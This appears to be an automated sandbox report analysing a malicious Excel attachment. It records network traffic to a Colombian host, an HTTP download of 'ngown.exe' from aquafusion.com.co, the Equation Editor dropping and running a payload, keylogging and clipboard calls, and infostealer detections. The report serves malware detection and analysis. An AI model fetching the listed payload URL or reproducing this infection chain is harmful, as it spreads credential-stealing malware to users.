Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKConnection: Keep-AliveKeep-Alive: timeout=5, max=100content-type: application/x-msdownloadlast-modified: Tue, 10 Dec 2024 07:12:19 GMTaccept-ranges: bytescontent-length: 1051136date: Tue, 10 Dec 2024 13:20:52 GMTserver: LiteSpeedData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 1c ad cf 72 7d c3 9c 72 7d c3 9c 72 7d c3 9c 34 2c 22 9c 70 7d c3 9c ec dd 04 9c 73 7d c3 9c 7f 2f 1c 9c 41 7d c3 9c 7f 2f 23 9c c3 7d c3 9c 7f 2f 22 9c 47 7d c3 9c 7b 05 40 9c 7b 7d c3 9c 7b 05 50 9c 57 7d c3 9c 72 7d c2 9c 52 7f c3 9c 0f 04 29 9c 22 7d c3 9c 0f 04 1c 9c 73 7d c3 9c 7f 2f 18 9c 73 7d c3 9c 72 7d 54 9c 73 7d c3 9c 0f 04 1d 9c 73 7d c3 9c 52 69 63 68 72 7d c3 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bd 94 57 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 de 08 00 00 28 07 00 00 00 00 00 cd 7d 02 00 00 10 00 00 00 f0 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 10 00 00 04 00 00 ed 89 10 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c a4 0b 00 7c 01 00 00 00 70 0c 00 10 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 1c 71 00 00 c0 2b 09 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 48 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 08 00 84 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 dc 08 00 00 10 00 00 00 de 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0e e1 02 00 00 f0 08 00 00 e2 02 00 00 e2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 8f 00 00 00 e0 0b 00 00 52 00 00 00 c4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 80 03 00 00 70 0c 00 00 82 03 00 00 16 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 71 00 00 00 00 10 00 00 72 00 00 00 98 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: Joe Sandbox View

ASN Name: GTDCOLOMBIASASCO GTDCOLOMBIASASCO

Source: global traffic

HTTP traffic detected: GET /ngbx/ngown.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: aquafusion.com.coConnection: Keep-Alive

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_035604F5 URLDownloadToFileW,

2_2_035604F5

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ngown[1].exe

Jump to behavior

Source: global traffic

DNS traffic detected: DNS query: aquafusion.com.co

Source: EQNEDT32.EXE, 00000002.00000002.486608016.00000000008DF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.482907203.000000000092E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aquafusion.com.co/ngbx/ngown.exe
Source: EQNEDT32.EXE, 00000002.00000003.482907203.000000000091F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aquafusion.com.co/ngbx/ngown.exeG
Source: EQNEDT32.EXE, 00000002.00000002.486831561.0000000003560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aquafusion.com.co/ngbx/ngown.exej
Source: EQNEDT32.EXE, 00000002.00000002.486608016.00000000008DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aquafusion.com.co/ngbx/ngown.exejjC:
Source: EQNEDT32.EXE, 00000002.00000003.482907203.000000000092E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aquafusion.com.co/ngbx/ngown.exeroC:
Source: ghxtg8op.exe, 00000005.00000002.486416545.0000000000D00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.635366248.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, POq2Ux.cs

.Net Code: _6JpPt

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00DB4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

5_2_00DB4164

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00DB4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

5_2_00DB4164

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00DB3F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

5_2_00DB3F66

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00DA001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

5_2_00DA001C

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00DCCABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

5_2_00DCCABC

System Summary

Malicious sample detected (through community Yara rule)

Source: sheet1.xml, type: SAMPLE	Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.ghxtg8op.exe.d00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000005.00000002.486416545.0000000000D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: This is a third-party compiled AutoIt script.	5_2_00D43B3A
Source: ghxtg8op.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: ghxtg8op.exe, 00000005.00000000.482962513.0000000000DF4000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_40e8bbe4-3
Source: ghxtg8op.exe, 00000005.00000000.482962513.0000000000DF4000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_76590463-5
Source: ghxtg8op.exe.2.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_75893458-1
Source: ghxtg8op.exe.2.dr	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_0d9a80bb-f
Source: ngown[1].exe.2.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_b69e3b96-c
Source: ngown[1].exe.2.dr	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_3230f00c-0

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ngown[1].exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00DAA1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

5_2_00DAA1EF

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D98310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

5_2_00D98310

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00DA51BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

5_2_00DA51BD

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D4E6A0	5_2_00D4E6A0
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D63187	5_2_00D63187
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D6D975	5_2_00D6D975
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D621C5	5_2_00D621C5
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D762D2	5_2_00D762D2
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DC03DA	5_2_00DC03DA
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D7242E	5_2_00D7242E
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D625FA	5_2_00D625FA
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D566E1	5_2_00D566E1
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D9E616	5_2_00D9E616
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D7878F	5_2_00D7878F
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DA8889	5_2_00DA8889
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DC0857	5_2_00DC0857
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D76844	5_2_00D76844
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D58808	5_2_00D58808
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D6CB21	5_2_00D6CB21
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D76DB6	5_2_00D76DB6
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D56F9E	5_2_00D56F9E
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D53030	5_2_00D53030
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D6F1D9	5_2_00D6F1D9
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D41287	5_2_00D41287
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D61484	5_2_00D61484
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D55520	5_2_00D55520
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D67696	5_2_00D67696
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D55760	5_2_00D55760
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D61978	5_2_00D61978
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D79AB5	5_2_00D79AB5
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D4FCE0	5_2_00D4FCE0
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DC7DDB	5_2_00DC7DDB
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D61D90	5_2_00D61D90
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D6BDA6	5_2_00D6BDA6
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D53FE0	5_2_00D53FE0
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D4DF00	5_2_00D4DF00
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00995108	5_2_00995108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_002D3908	6_2_002D3908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_002DB158	6_2_002DB158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_002D4520	6_2_002D4520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_002DE608	6_2_002DE608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_002D3C50	6_2_002D3C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_003E58E8	6_2_003E58E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_003E09D0	6_2_003E09D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_002DB51A	6_2_002DB51A

Source: Nova naredba_HR-WJO-12-10-2024.xlam.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: String function: 00D60AE3 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: String function: 00D68900 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: String function: 00D47DE1 appears 35 times

Source: sheet1.xml, type: SAMPLE	Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.ghxtg8op.exe.d00000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000005.00000002.486416545.0000000000D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, ZTFEpdjP8zw.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, WnRNxU.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, 2njIk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, I5ElxL.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, QQSiOsa4hPS.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, FdHU4eb83Z7.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, 3VzYbXLJt4.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, 3VzYbXLJt4.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, 3VzYbXLJt4.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, 3VzYbXLJt4.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@6/8@1/1

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00DAA06A GetLastError,FormatMessageW,

5_2_00DAA06A

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D981CB AdjustTokenPrivileges,CloseHandle,		5_2_00D981CB
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D987E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		5_2_00D987E1

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00DAB3FB SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

5_2_00DAB3FB

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00DBEE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

5_2_00DBEE0D

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00DAC397 CoInitialize,CoCreateInstance,CoUninitialize,

5_2_00DAC397

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D44E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

5_2_00D44E89

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Nova naredba_HR-WJO-12-10-2024.xlam.xlsx

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR9AB8.tmp

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Nova naredba_HR-WJO-12-10-2024.xlam.xlsx

ReversingLabs: Detection: 65%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe C:\Users\user\AppData\Local\Temp\ghxtg8op.exe
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Users\user\AppData\Local\Temp\ghxtg8op.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
